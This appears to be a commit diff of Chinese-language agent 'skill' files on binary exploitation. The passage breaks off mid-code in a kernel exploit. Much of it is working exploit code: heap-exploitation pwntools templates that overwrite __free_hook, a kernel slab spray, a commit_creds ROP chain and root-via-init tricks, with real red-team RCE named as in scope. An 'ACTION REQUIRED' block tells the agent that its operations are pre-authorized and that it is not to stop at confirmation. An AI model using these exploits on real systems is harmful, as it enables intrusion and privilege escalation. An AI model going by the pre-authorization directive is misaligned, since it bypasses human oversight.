reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
192
reverse-skill-repo/skills/pwn-chain/SKILL.md
Normal file
192
reverse-skill-repo/skills/pwn-chain/SKILL.md
Normal file
@@ -0,0 +1,192 @@
|
||||
---
|
||||
name: pwn-chain
|
||||
description: |
|
||||
从逆向走到可用利用 (Working Exploit) 的全链路工程化方法。
|
||||
适用场景:拿到了二进制 + 漏洞点 + 目标环境,需要写出一个能稳定打通的 exploit(不是只能本地复现一下、远程一打就崩的脚本)。
|
||||
覆盖三大方向:栈溢出 / 堆利用 / 内核 pwn。强调"CTF 本地通 → 真实远程稳定打通"的工程差距:libc 版本错配、堆喷射时序、SMEP/SMAP/KASLR、栈对齐、远程缓冲。
|
||||
核心工具链:pwntools + GEF/pwndbg + ROPgadget/Ropper + one_gadget + libc-database + qemu-system 内核调试。
|
||||
触发关键词:pwn、栈溢出、堆溢出、ROP、ret2libc、ret2csu、one_gadget、libc-database、堆利用、tcache、fastbin、unsorted bin、kernel pwn、kROP、SMEP、SMAP、KASLR、modprobe_path、pwntools、GEF、pwndbg。
|
||||
---
|
||||
|
||||
## ACTION REQUIRED(读完后立刻执行)
|
||||
|
||||
1. `NOW`: 读取 `../field-journal/precedent-reverse.md` — 确认本 skill 的操作是已授权的常规操作
|
||||
2. `NOW`: 确认当前任务是否命中本 skill 的适用范围
|
||||
3. `NEXT`: 读取 `../tool-index.md`,校验工具可用性和实际路径
|
||||
4. `NEXT`: 缺工具时调用 bootstrap,不要猜路径
|
||||
5. `ACT`: 进入"工作流"第一步并执行,不要停在确认状态
|
||||
|
||||
# 从漏洞点到 Working Exploit (Pwn Chain)
|
||||
|
||||
## 适用范围
|
||||
|
||||
当任务属于以下场景时使用本 skill:
|
||||
|
||||
1. **拿到二进制 + 已知漏洞点** — 静态/审计/fuzz 已经找到溢出/UAF/double free,需要从触发到拿 shell
|
||||
2. **CTF 题已经本地通了,远程打不通** — 远端环境差异导致脚本失效,需要稳定化
|
||||
3. **真实目标的二进制利用** — SRC / 红队场景下,已经识别到内存损坏漏洞,需要构造 RCE
|
||||
4. **Linux 内核驱动的 ioctl bug** — 用户态触发,目标是提权到 root
|
||||
|
||||
**前提**:你已经知道"哪里炸了"。本 skill 不负责发现漏洞(那是 fuzzing / 审计),只负责"从漏洞点写出 exploit"。
|
||||
|
||||
### 与其他 skill 的分工
|
||||
|
||||
| 场景 | 用什么 |
|
||||
|------|--------|
|
||||
| 识别 custom VM / anti-debug / 复杂 obfuscation | `reverse-engineering/` |
|
||||
| 从零打开二进制做静态分析 | `ida-reverse/` 或 `radare2/` |
|
||||
| **有漏洞点,写 exploit 打通远程** | **本 skill** |
|
||||
| 把 pwn 拿到的 shell 整合进完整攻击链 | `attack-chain/`(下游) |
|
||||
|
||||
`reverse-engineering/` 关注"理解程序在干什么"(模式识别、协议还原、解 CTF 题里的奇怪机制);本 skill 关注"把已经看懂的漏洞变成可执行的攻击"。两者经常配套使用,但分工清晰。
|
||||
|
||||
## 核心工作流
|
||||
|
||||
```text
|
||||
Step 1: 确认漏洞类型 + 保护机制
|
||||
├─ checksec ./vuln(NX / Canary / PIE / RELRO / Fortify)
|
||||
├─ file ./vuln + readelf -d ./vuln
|
||||
├─ 漏洞分类:栈溢出 / 格式化字符串 / 堆 (UAF/DF/OF) / 整数 / 竞态 / 内核
|
||||
└─ → 决定走哪个 references/
|
||||
|
||||
Step 2: 选择利用策略
|
||||
├─ NX 关 + 无 ASLR → 直接 shellcode
|
||||
├─ NX 开 + 给 libc → ret2libc / one_gadget
|
||||
├─ NX 开 + 不给 libc → leak 后 libc-database 反查
|
||||
├─ 堆 → 按 glibc 版本对应技术 (tcache/fastbin/unsorted/large)
|
||||
└─ 内核 → commit_creds / modprobe_path / core_pattern
|
||||
|
||||
Step 3: 准备 libc + gadget
|
||||
├─ libc-database:./find puts 0x6f0
|
||||
├─ ROPgadget --binary ./libc.so.6 --only "pop|ret"
|
||||
├─ one_gadget ./libc.so.6
|
||||
└─ 计算 base:leak_addr - libc.sym['puts']
|
||||
|
||||
Step 4: 写 pwntools 模板(本地 process)
|
||||
├─ context.binary = ELF('./vuln')
|
||||
├─ p = process('./vuln') / p = gdb.debug('./vuln','b *main+xx')
|
||||
├─ payload = cyclic(N) + p64(ret) + ...
|
||||
└─ p.interactive()
|
||||
|
||||
Step 5: 本地通
|
||||
├─ 反复 attach + 看寄存器 + 调 offset
|
||||
├─ 用 pwndbg/GEF 的 vmmap / heap / bins / telescope
|
||||
└─ 跑通后切 remote()
|
||||
|
||||
Step 6: 远程稳定化
|
||||
├─ libc 偏移:用 leak 反查 libc-database,不要拍脑袋
|
||||
├─ 栈对齐:16-byte 不对齐 → movaps 崩 → 加一个 ret gadget
|
||||
├─ 远程网络延迟 → recvuntil 精确锚字符串,禁用模糊 sleep
|
||||
├─ 远程缓冲:sendlineafter 比 sendline 更稳
|
||||
├─ 堆喷成功率:放大 spray 数量 + 留 padding chunk 防合并
|
||||
└─ 多次跑:写 while True 验证成功率 ≥ 95%
|
||||
```
|
||||
|
||||
## 典型场景
|
||||
|
||||
### 场景 1:远程 64 位二进制 (NX+PIE+canary, 给了 libc)
|
||||
|
||||
```text
|
||||
已有:./vuln(64-bit ELF, NX, PIE, canary)+ ./libc.so.6 + nc host port
|
||||
漏洞:read(buf, 0x200) 但 buf 只有 0x40 字节 → 栈溢出
|
||||
保护:canary 拦住,PIE 让 .text 随机化
|
||||
|
||||
策略:
|
||||
1. 先 leak canary(栈/格式化字符串/部分读)
|
||||
2. 再 leak 一个 libc 函数地址(puts@got)
|
||||
3. 用 libc.address = leaked - libc.sym['puts'] 算 libc base
|
||||
4. one_gadget ./libc.so.6 选一个约束能满足的 magic gadget
|
||||
5. payload = padding + canary + saved_rbp + (pop_rdi + bin_sh + system) 或直接 one_gadget
|
||||
6. 加一个 ret gadget 修栈对齐(关键!)
|
||||
```
|
||||
|
||||
完整模板参见 `references/stack-pwn.md`。
|
||||
|
||||
### 场景 2:Linux 内核驱动 ioctl 越界写 → 拿 root
|
||||
|
||||
```text
|
||||
已有:vmlinux + bzImage + initramfs.cpio.gz + 自定义 vuln.ko
|
||||
漏洞:ioctl(0x1337, ptr) 里 copy_from_user 长度可控 → kernel heap overflow (kmalloc-64 slab)
|
||||
保护:SMEP, SMAP, KASLR, KPTI
|
||||
|
||||
策略:
|
||||
1. 改 init 脚本拿到 root shell(CTF)或先 leak KASLR base 再继续(真实)
|
||||
2. 通过 /proc/kallsyms(可能限权)或未初始化堆喷 leak 内核基址
|
||||
3. 在 kmalloc-64 slab 里喷 tty_struct / msg_msg / pipe_buffer
|
||||
4. 覆盖 vtable 指针指向用户态 → 不行(SMEP),改走 stack pivot + 内核 ROP
|
||||
5. ROP 链:prepare_kernel_cred(0) → commit_creds → swapgs+iretq → 用户态 execve("/bin/sh")
|
||||
6. 或更省事:覆盖 modprobe_path 为 "/tmp/x",写一个 /tmp/x,然后触发 modprobe
|
||||
```
|
||||
|
||||
完整模板参见 `references/kernel-pwn.md`。
|
||||
|
||||
## 按需自举 (On-Demand Bootstrap)
|
||||
|
||||
### 工具依赖
|
||||
|
||||
| 工具 | 用途 | 安装方式 |
|
||||
|------|------|---------|
|
||||
| pwntools | exploit 编写框架 | `pip install pwntools` |
|
||||
| GEF | gdb 增强(推荐内核 + 用户态) | `git clone https://github.com/bata24/gef` (fork 维护活跃) |
|
||||
| pwndbg | gdb 增强(堆调试体验最好) | `git clone https://github.com/pwndbg/pwndbg && ./setup.sh` |
|
||||
| ROPgadget | gadget 搜索 | `pip install ropgadget` |
|
||||
| Ropper | gadget 搜索(备选,支持架构多) | `pip install ropper` |
|
||||
| one_gadget | libc magic gadget 查找 | `gem install one_gadget`(需 ruby) |
|
||||
| libc-database | libc 指纹反查 | `git clone https://github.com/niklasb/libc-database && ./get` |
|
||||
| qemu-system-x86_64 | 内核题调试 | `apt install qemu-system-x86` |
|
||||
| binwalk / cpio | initramfs 拆包 | `apt install binwalk cpio` |
|
||||
| patchelf | 切换 libc 版本 | `apt install patchelf` |
|
||||
|
||||
### Bootstrap 检查脚本
|
||||
|
||||
```bash
|
||||
# 一键检查 + 安装核心工具
|
||||
for t in pwntools ropgadget ropper; do
|
||||
pip show $t >/dev/null 2>&1 || pip install $t
|
||||
done
|
||||
|
||||
command -v one_gadget >/dev/null || gem install one_gadget
|
||||
|
||||
[ -d ~/tools/libc-database ] || git clone https://github.com/niklasb/libc-database ~/tools/libc-database
|
||||
[ -d ~/tools/libc-database/db ] || (cd ~/tools/libc-database && ./get ubuntu debian)
|
||||
|
||||
[ -d ~/tools/pwndbg ] || (git clone https://github.com/pwndbg/pwndbg ~/tools/pwndbg && cd ~/tools/pwndbg && ./setup.sh)
|
||||
```
|
||||
|
||||
### 同一工具自动安装失败 2 次后
|
||||
|
||||
停止重试,输出结构化手动安装步骤(pip 源 / gem 源 / git 国内镜像 / apt 源)让用户确认。
|
||||
|
||||
## 路由上下文
|
||||
|
||||
**上游入口**: `skills/SKILL.md`(总控)、`routing.md`
|
||||
**触发条件**: 有二进制 + 已识别漏洞点,需要写 exploit
|
||||
|
||||
**上游 skill(先用它们再回到本 skill)**:
|
||||
- 还没看懂二进制在干什么 → `reverse-engineering/`
|
||||
- 需要静态详细分析 → `ida-reverse/`
|
||||
- 快速侦察确认架构/保护机制 → `radare2/`
|
||||
|
||||
**下游 skill(拿到 shell 之后)**:
|
||||
- 整合进完整攻击链(横向、提权、持久化)→ `attack-chain/`
|
||||
|
||||
**子模块导航**:
|
||||
- 栈类利用(ret2libc / ret2csu / one_gadget / 栈对齐)→ `references/stack-pwn.md`
|
||||
- 堆类利用(tcache / fastbin / unsorted / large bin / FILE struct)→ `references/heap-pwn.md`
|
||||
- 内核 pwn(kROP / SMEP-SMAP 绕过 / KASLR leak / modprobe_path)→ `references/kernel-pwn.md`
|
||||
|
||||
## 注意事项
|
||||
|
||||
- **不要在本地跑通就交差** — 本地 libc / ASLR / 网络环境都和远程不同,必须在 remote 模式下连续跑 20 次以上验证稳定性
|
||||
- **libc 版本必须确认** — 用 leak + libc-database 反查,不要假设是 Ubuntu 22.04 默认 libc
|
||||
- **栈对齐是 64 位的常见坑** — `movaps xmm0, [rsp]` 在 rsp 未 16 字节对齐时段错误,加一个空 `ret` gadget 解决
|
||||
- **堆利用对 glibc 版本极敏感** — tcache 在 2.27 引入,safe-linking 在 2.32 引入,2.34 移除 hooks,每个版本利用路径不同
|
||||
- **内核 pwn 必须先确认 cpu 标志** — qemu 启动参数里有没有 +smep +smap +pku 直接决定 ROP 链怎么写
|
||||
- **KASLR leak 一次就够** — 拿到一个内核地址后所有地址都算偏移,不要反复 leak
|
||||
|
||||
## 任务完成自检(声称完成前 MUST 通过)
|
||||
|
||||
- [ ] 我是否执行了工作流中的每一步(而不是只阅读)?
|
||||
- [ ] 我是否基于 `tool-index` 使用了真实工具路径?
|
||||
- [ ] 我是否产出了可复现证据(命令/脚本/截图/报告)?
|
||||
- [ ] 我是否完成并回写了 RULES 要求的 Checklist 项?
|
||||
283
reverse-skill-repo/skills/pwn-chain/references/heap-pwn.md
Normal file
283
reverse-skill-repo/skills/pwn-chain/references/heap-pwn.md
Normal file
@@ -0,0 +1,283 @@
|
||||
# 堆类利用 (Heap Pwn)
|
||||
|
||||
## glibc 版本差异(必看)
|
||||
|
||||
堆利用的所有技术都跟 glibc 版本强绑定。先确认版本:
|
||||
|
||||
```bash
|
||||
./libc.so.6 | head -1
|
||||
# GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
|
||||
|
||||
# 或 strings
|
||||
strings ./libc.so.6 | grep "GNU C Library"
|
||||
```
|
||||
|
||||
| glibc 版本 | 关键变化 | 影响 |
|
||||
|-----------|---------|------|
|
||||
| 2.26 及之前 | 无 tcache | unsorted/fastbin 是主战场 |
|
||||
| 2.27 | **引入 tcache** | tcache poisoning 极其简单 |
|
||||
| 2.29 | unsorted bin unlink 加固(chunk size 检查) | unsorted bin attack 被砍 |
|
||||
| 2.31 | tcache 多重检查(key 字段) | tcache poisoning 略复杂 |
|
||||
| 2.32 | **safe-linking**(fd 指针异或 PROTECT_PTR) | 需要先 leak heap base |
|
||||
| 2.34 | **移除 __free_hook / __malloc_hook** | 改走 FILE struct / exit handlers |
|
||||
| 2.35+ | 进一步加固 | 同 2.34,FILE 路径仍可用 |
|
||||
|
||||
## tcache poisoning (2.27 - 2.31)
|
||||
|
||||
### 原理
|
||||
|
||||
tcache 是 per-thread cache,每个 size class 一条链表,单链表(只有 fd)。
|
||||
double free 检查在 2.29 之前只看链表头是不是自己,不看遍历。
|
||||
|
||||
### 利用模板(2.27 - 2.31)
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./vuln')
|
||||
libc = ELF('./libc.so.6')
|
||||
|
||||
def add(idx, size, data=b'a'):
|
||||
p.sendlineafter(b'> ', b'1')
|
||||
p.sendlineafter(b'idx: ', str(idx).encode())
|
||||
p.sendlineafter(b'size: ', str(size).encode())
|
||||
p.sendafter(b'data: ', data)
|
||||
|
||||
def free(idx):
|
||||
p.sendlineafter(b'> ', b'2')
|
||||
p.sendlineafter(b'idx: ', str(idx).encode())
|
||||
|
||||
def show(idx):
|
||||
p.sendlineafter(b'> ', b'3')
|
||||
p.sendlineafter(b'idx: ', str(idx).encode())
|
||||
return p.recvline().strip()
|
||||
|
||||
# === Step 1: leak libc base ===
|
||||
# 申请大于 tcache 范围的 chunk(>0x408),free 进 unsorted bin,残留 main_arena 指针
|
||||
for i in range(8):
|
||||
add(i, 0x80)
|
||||
add(8, 0x80) # 防止合并
|
||||
for i in range(7):
|
||||
free(i)
|
||||
free(7) # 第 8 个进 unsorted bin,fd/bk 指向 main_arena+96
|
||||
add(9, 0x80) # 切回来一部分,保留 fd
|
||||
leak = u64(show(9).ljust(8, b'\x00'))
|
||||
libc.address = leak - 0x3ebca0 # main_arena+96 偏移,glibc 2.27 amd64
|
||||
log.success(f'libc = {hex(libc.address)}')
|
||||
|
||||
# === Step 2: tcache poisoning → 写 __free_hook ===
|
||||
add(10, 0x30)
|
||||
add(11, 0x30)
|
||||
free(10)
|
||||
free(11)
|
||||
# 用 UAF 改 chunk11 的 fd 指向 __free_hook
|
||||
edit(11, p64(libc.sym['__free_hook']))
|
||||
add(12, 0x30) # 取出 chunk11
|
||||
add(13, 0x30, p64(libc.sym['system'])) # 取出来的就是 __free_hook 地址,写 system
|
||||
|
||||
# 触发:free 一个内容为 "/bin/sh\x00" 的 chunk
|
||||
add(14, 0x30, b'/bin/sh\x00')
|
||||
free(14)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## safe-linking 绕过 (2.32+)
|
||||
|
||||
```text
|
||||
原理:tcache/fastbin 的 fd 写入时被 PROTECT_PTR 异或:
|
||||
PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr
|
||||
|
||||
绕过:
|
||||
1. 必须先 leak 一个堆地址(heap base)
|
||||
2. 计算 obfuscated 值:fake_fd_obf = (chunk_addr >> 12) ^ target
|
||||
3. 写进去
|
||||
```
|
||||
|
||||
```python
|
||||
def protect_ptr(pos, ptr):
|
||||
return (pos >> 12) ^ ptr
|
||||
|
||||
# leak heap base(unsorted bin 残留 / tcache fd 残留)
|
||||
heap_base = leaked_heap & ~0xfff
|
||||
|
||||
# poisoning
|
||||
fake_fd = protect_ptr(heap_base + chunk_off, target_addr)
|
||||
edit(chunk_id, p64(fake_fd))
|
||||
```
|
||||
|
||||
## fastbin attack (传统,2.26 及之前为主)
|
||||
|
||||
```text
|
||||
关键点:
|
||||
1. fastbin 单链表(只有 fd),无 size 检查除了 chunk size 必须匹配
|
||||
2. 2.27 后 tcache 优先,fastbin 只有 tcache 满了才用
|
||||
3. 仍然需要伪造一个看起来像 chunk 的内存(size 字段 = 真实 chunk size,± 一些)
|
||||
```
|
||||
|
||||
```python
|
||||
# double free
|
||||
add(0, 0x60)
|
||||
add(1, 0x60)
|
||||
free(0)
|
||||
free(1)
|
||||
free(0) # fastbin: 0 → 1 → 0
|
||||
|
||||
# 把 fd 改成 fake chunk(要求 fake_addr + 8 处的 size 字节匹配 0x70)
|
||||
add(2, 0x60, p64(fake_addr))
|
||||
add(3, 0x60)
|
||||
add(4, 0x60) # 取出 fake_addr 处的 chunk
|
||||
```
|
||||
|
||||
## unsorted bin attack(仅 2.28 及之前)
|
||||
|
||||
```text
|
||||
原理:写任意地址为 main_arena+88
|
||||
2.29 起加了 bck->fd == victim 的检查,绕不过
|
||||
用途:覆盖 global_max_fast 让小 chunk 也走 fastbin → 配合 fastbin attack
|
||||
```
|
||||
|
||||
```python
|
||||
# 申请 unsorted size chunk
|
||||
add(0, 0x100)
|
||||
add(1, 0x100) # 防止 top consolidation
|
||||
free(0)
|
||||
# UAF 改 bk 指针为 target - 0x10
|
||||
edit(0, p64(0) + p64(target - 0x10))
|
||||
add(2, 0x100) # 从 unsorted 取出 → unlink → main_arena+88 写到 target
|
||||
```
|
||||
|
||||
## large bin attack
|
||||
|
||||
```text
|
||||
原理:large bin 比 unsorted 多一层 fd_nextsize / bk_nextsize
|
||||
2.32 起也加了 chunk size 检查,但仍可用于改 global_max_fast、_IO_list_all 等
|
||||
高级技巧,常用于 House of Husk 等组合拳
|
||||
```
|
||||
|
||||
## House of XXX 速查
|
||||
|
||||
| 名称 | 适用版本 | 核心思想 |
|
||||
|------|---------|---------|
|
||||
| House of Force | 2.28 及之前 | 改 top chunk size 为巨大值 → malloc 任意地址 |
|
||||
| House of Lore | 全版本 | 伪造 small bin 链 → 返回任意地址 |
|
||||
| House of Orange | 2.23-2.30 | unsorted attack 改 _IO_list_all 触发 _IO_flush_all_lockp |
|
||||
| House of Roman | 2.23-2.26 | 12-bit 爆破 + fastbin attack to __malloc_hook |
|
||||
| House of Einherjar | 全版本 | 伪造 prev_size + PREV_INUSE=0 → backward consolidation |
|
||||
| House of Botcake | 2.27+ | tcache + unsorted bin 组合,绕过 tcache double free 检查 |
|
||||
| House of Husk | 2.27+ | 改 printf 的 hook table(__printf_function_table) |
|
||||
| House of Cat | 2.34+ | _IO_wfile_seekoff vtable 利用,针对无 hook 版本 |
|
||||
| House of Apple | 2.34+ | _IO_wfile_jumps + setcontext gadget |
|
||||
|
||||
## 真实利用步骤(通用 4 步)
|
||||
|
||||
```text
|
||||
Step 1: leak heap base
|
||||
- 申请 chunk → free 到 tcache(2.32+ 保留 obfuscated fd) → show → 反推 heap
|
||||
- 或:申请大 chunk → free 到 unsorted → 切回 → show fd
|
||||
|
||||
Step 2: leak libc base
|
||||
- 大 chunk free 到 unsorted bin,fd/bk 残留 main_arena 地址
|
||||
- show → leak → libc.address = leak - main_arena_offset
|
||||
|
||||
Step 3: 控 IP
|
||||
- 2.27-2.33: tcache/fastbin poisoning → 写 __free_hook 或 __malloc_hook
|
||||
- 2.34+: FILE struct 攻击(_IO_2_1_stdout_ / stderr),改 vtable → _IO_wfile_jumps
|
||||
- 或:劫持 exit handlers(__exit_funcs / tls_dtor_list)
|
||||
|
||||
Step 4: getshell
|
||||
- free_hook = system, free("/bin/sh") → shell
|
||||
- 2.34+: setcontext + 53 gadget → rop chain in heap → execve
|
||||
```
|
||||
|
||||
## libc 2.34+ 没有 hook 之后的替代路径
|
||||
|
||||
### FILE struct 攻击(_IO_2_1_stdout_ / _IO_2_1_stderr_)
|
||||
|
||||
```text
|
||||
目标:当程序调用 puts/printf 时,最终走到 _IO_file_xsputn → _IO_OVERFLOW → 调用 vtable
|
||||
劫持:
|
||||
1. 覆盖 _IO_2_1_stderr_ 的 vtable 指针指向伪造的 vtable
|
||||
2. 伪造 vtable,让 __overflow 字段指向 system 或 setcontext
|
||||
3. 让 fp(FILE*)本身的前 8 字节是 "/bin/sh\x00"(作为 system 的 rdi)
|
||||
触发:任何 puts/printf/abort/exit 都会冲刷 stderr
|
||||
```
|
||||
|
||||
### Exit handlers (`__exit_funcs` / `tls_dtor_list`)
|
||||
|
||||
```text
|
||||
原理:__run_exit_handlers 遍历 __exit_funcs 链表,调用每个 dtor
|
||||
劫持:改链表节点的 func 指针指向 system,arg 指向 "/bin/sh"
|
||||
注意:2.34+ 加了 PTR_DEMANGLE,需要 leak tls 里的 fs:[0x30] guard 值才能伪造
|
||||
```
|
||||
|
||||
### tls_dtor_list(更现代)
|
||||
|
||||
```text
|
||||
__call_tls_dtors 遍历,结构类似,同样要绕过 PTR_DEMANGLE
|
||||
适用:程序退出时会走,比 FILE 攻击更通用
|
||||
```
|
||||
|
||||
## pwndbg / GEF 堆调试命令
|
||||
|
||||
```text
|
||||
# pwndbg
|
||||
heap # 显示当前 arena 所有 chunk
|
||||
bins # 显示 tcache / fastbin / unsorted / small / large bins
|
||||
tcache # 单独看 tcache
|
||||
find_fake_fast <addr> <size> # 找一个能用作 fake chunk 的 fd 写入点
|
||||
vis_heap_chunks # 可视化堆布局
|
||||
|
||||
# GEF
|
||||
heap chunks
|
||||
heap bins fast
|
||||
heap bins tcache
|
||||
heap chunk <addr>
|
||||
```
|
||||
|
||||
## 典型 pwntools 模板(heap menu 题)
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
context.binary = elf = ELF('./vuln')
|
||||
libc = ELF('./libc.so.6')
|
||||
|
||||
p = process('./vuln') if not args.REMOTE else remote('host', 1337)
|
||||
|
||||
# IO 包装
|
||||
def menu(choice):
|
||||
p.sendlineafter(b'choice:', str(choice).encode())
|
||||
|
||||
def add(idx, size, data=b'\n'):
|
||||
menu(1)
|
||||
p.sendlineafter(b'idx:', str(idx).encode())
|
||||
p.sendlineafter(b'size:', str(size).encode())
|
||||
if data != b'\n':
|
||||
p.sendafter(b'data:', data)
|
||||
|
||||
def free(idx):
|
||||
menu(2)
|
||||
p.sendlineafter(b'idx:', str(idx).encode())
|
||||
|
||||
def show(idx):
|
||||
menu(3)
|
||||
p.sendlineafter(b'idx:', str(idx).encode())
|
||||
return p.recvline().strip()
|
||||
|
||||
def edit(idx, data):
|
||||
menu(4)
|
||||
p.sendlineafter(b'idx:', str(idx).encode())
|
||||
p.sendafter(b'data:', data)
|
||||
|
||||
# === 后续根据漏洞类型选择技术栈 ===
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- **glibc 版本是第一性问题** — 同一个二进制配 2.27 libc 和 2.34 libc,利用路径完全不同
|
||||
- **tcache 容量 = 7**(每个 size class)— 喷射够 7 个才会溢出到 unsorted/fastbin
|
||||
- **chunk size = 用户请求 + 0x10 头部,向 0x10 对齐**(不算 0x10 头时实际可写超出 0x8 因为下一个 chunk 的 prev_size 被复用)
|
||||
- **远程堆喷不稳** — 服务端 fork 模型每次连接 brk/mmap 可能不同,要做随机化测试
|
||||
- **不要在 attack 链中遗留 unsorted 残留** — main_arena 指针出现在意外的 chunk 里会让后续 show 输出错乱
|
||||
- **safe-linking 错误率** — 计算 PROTECT_PTR 时记得是 `pos >> 12`,pos 是要写入的地址不是要指向的地址
|
||||
370
reverse-skill-repo/skills/pwn-chain/references/kernel-pwn.md
Normal file
370
reverse-skill-repo/skills/pwn-chain/references/kernel-pwn.md
Normal file
@@ -0,0 +1,370 @@
|
||||
# 内核 Pwn (Kernel Pwn)
|
||||
|
||||
## 准备环境
|
||||
|
||||
典型内核题包:
|
||||
|
||||
```text
|
||||
kernel/
|
||||
├── bzImage # 压缩内核镜像
|
||||
├── vmlinux # 未压缩内核(带符号,用于 gdb)
|
||||
├── initramfs.cpio.gz / rootfs.img
|
||||
├── vuln.ko # 漏洞驱动
|
||||
├── run.sh # qemu 启动脚本
|
||||
└── (.config) # 编译配置,可选
|
||||
```
|
||||
|
||||
### 拆 initramfs 改 init 脚本
|
||||
|
||||
```bash
|
||||
mkdir initramfs && cd initramfs
|
||||
zcat ../initramfs.cpio.gz | cpio -idm
|
||||
# 或 newc 格式:
|
||||
# cpio -idm < ../initramfs.cpio
|
||||
|
||||
# 改 init 拿 root(CTF 学习用,真实题目通常 setuid 1000)
|
||||
sed -i 's|setuidgid 1000|setuidgid 0|g' init
|
||||
# 或注释掉 user 切换那一行
|
||||
|
||||
# 重新打包
|
||||
find . | cpio -o --format=newc | gzip > ../initramfs.cpio.gz
|
||||
cd ..
|
||||
```
|
||||
|
||||
### 提取 vmlinux(如果只给了 bzImage)
|
||||
|
||||
```bash
|
||||
# 用 extract-vmlinux 脚本(kernel 源码 scripts/)
|
||||
/usr/src/linux/scripts/extract-vmlinux ./bzImage > vmlinux
|
||||
```
|
||||
|
||||
### QEMU 启动参数模板
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
qemu-system-x86_64 \
|
||||
-m 256M \
|
||||
-kernel ./bzImage \
|
||||
-initrd ./initramfs.cpio.gz \
|
||||
-cpu kvm64,+smep,+smap \
|
||||
-append "console=ttyS0 nokaslr quiet oops=panic panic=1" \
|
||||
-monitor /dev/null \
|
||||
-nographic \
|
||||
-no-reboot \
|
||||
-s # 开 gdb 端口 1234
|
||||
```
|
||||
|
||||
关键参数对应的保护:
|
||||
|
||||
| 参数 | 含义 | 影响利用 |
|
||||
|------|------|---------|
|
||||
| `+smep` | 内核态不能执行用户态代码 | 必须用 ROP,不能跳到用户态 shellcode |
|
||||
| `+smap` | 内核态不能访问用户态数据 | rop 链不能放用户态,要放内核态(堆喷 / msgsnd) |
|
||||
| `+pku` | Protection Keys | 类似 SMAP |
|
||||
| `nokaslr` | 禁用 KASLR | 函数地址固定 |
|
||||
| `kaslr` | 启用 KASLR | 必须 leak |
|
||||
| `pti=on` | KPTI(Meltdown 修复) | 用户态返回需要 swapgs_restore_regs_and_return_to_usermode |
|
||||
|
||||
### 调试
|
||||
|
||||
```bash
|
||||
# 终端 1
|
||||
./run.sh # 带 -s
|
||||
|
||||
# 终端 2
|
||||
gdb vmlinux
|
||||
(gdb) target remote :1234
|
||||
(gdb) b vulnerable_ioctl
|
||||
(gdb) c
|
||||
```
|
||||
|
||||
GEF 推荐用 bata24 维护的 fork,对内核结构体有专门 pretty-print。
|
||||
|
||||
## 漏洞类型分流
|
||||
|
||||
| 漏洞 | 典型来源 | 利用基线 |
|
||||
|------|---------|---------|
|
||||
| 内核栈溢出 | copy_from_user 长度可控 | 栈金丝雀 + KASLR → ROP |
|
||||
| 内核堆溢出 | kmalloc slab 越界写 | slab 喷射 + 覆盖相邻对象 |
|
||||
| UAF | refcount 错误 / 双 free | 重新申请同 slab → 控制释放对象 |
|
||||
| 整数溢出 | size 计算溢出 → 小分配大拷贝 | 实际是溢出,同上 |
|
||||
| TOCTOU | 用户态指针二次解引用 | userfaultfd / FUSE 拖时间 |
|
||||
| race | 双线程同时 ioctl | 卡时序窗口 |
|
||||
| 任意读写 | 已经是终极原语 | 直接改 cred / modprobe_path |
|
||||
|
||||
## slab 喷射(堆 pwn 核心)
|
||||
|
||||
把可控大小的内核对象喷到漏洞 slab,覆盖目标对象。
|
||||
|
||||
| slab size | 喷射对象 | 优点 |
|
||||
|-----------|---------|------|
|
||||
| kmalloc-64 / 96 | `seq_operations` | 有函数指针,覆盖即控 IP |
|
||||
| kmalloc-1024 | `tty_struct` | 有 ops 指针,结构精美 |
|
||||
| kmalloc-4096 | `pipe_buffer` | 现代版主力,6.x 仍有效 |
|
||||
| 任意 size | `msg_msg` | 大小可控(8 - 4096+),sysv msgsnd 控数据 |
|
||||
| kmalloc-128 | `user_key_payload` | keyctl 系列接口 |
|
||||
|
||||
### msg_msg 喷射示例
|
||||
|
||||
```c
|
||||
// 用户态触发
|
||||
int msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
struct {
|
||||
long mtype;
|
||||
char mtext[0x80 - 0x30]; // 加上 msg_msg 头 0x30 = kmalloc-128
|
||||
} msg = { .mtype = 0x1337 };
|
||||
memset(msg.mtext, 'A', sizeof(msg.mtext));
|
||||
|
||||
msgsnd(msqid, &msg, sizeof(msg.mtext), 0); // 喷到 kmalloc-128
|
||||
// ... 触发漏洞覆盖
|
||||
msgrcv(msqid, &msg, sizeof(msg.mtext), 0, 0); // 读回看是不是被改了 → leak
|
||||
```
|
||||
|
||||
## 提权路径
|
||||
|
||||
### 1. commit_creds(prepare_kernel_cred(0)) ROP
|
||||
|
||||
经典且通用。前提:能控 RIP(栈溢出 / vtable 劫持)。
|
||||
|
||||
```c
|
||||
// 用户态 ROP 链
|
||||
uint64_t rop[] = {
|
||||
pop_rdi, // pop rdi; ret
|
||||
0, // arg: 0
|
||||
prepare_kernel_cred, // → 返回 root cred 到 rax
|
||||
pop_rdi, // pop rdi; ret
|
||||
/* 占位,下面 mov 会覆盖 */ 0,
|
||||
/* mov rdi, rax; ... ; ret */ 0, // 转 rax→rdi(部分需要专门 gadget)
|
||||
commit_creds, // 设置当前进程 cred = root
|
||||
swapgs_restore_regs_and_return_to_usermode + 22, // 跳过 push 序列
|
||||
0, 0, // rax, rdi 占位
|
||||
user_rip, // 用户态返回函数(保存了 cs/ss)
|
||||
user_cs, user_rflags, user_rsp, user_ss,
|
||||
};
|
||||
```
|
||||
|
||||
**关键 gadget**(要在 vmlinux 里 ROPgadget 找):
|
||||
|
||||
```bash
|
||||
ROPgadget --binary vmlinux --only "pop|ret" | grep 'pop rdi'
|
||||
ROPgadget --binary vmlinux --only "mov|ret" | grep 'mov rdi, rax'
|
||||
```
|
||||
|
||||
返回用户态前必须保存 cs/ss/rflags/rsp:
|
||||
|
||||
```c
|
||||
void save_state() {
|
||||
__asm__(
|
||||
"movq %%cs, %0\n"
|
||||
"movq %%ss, %1\n"
|
||||
"pushfq; popq %2\n"
|
||||
"movq %%rsp, %3\n"
|
||||
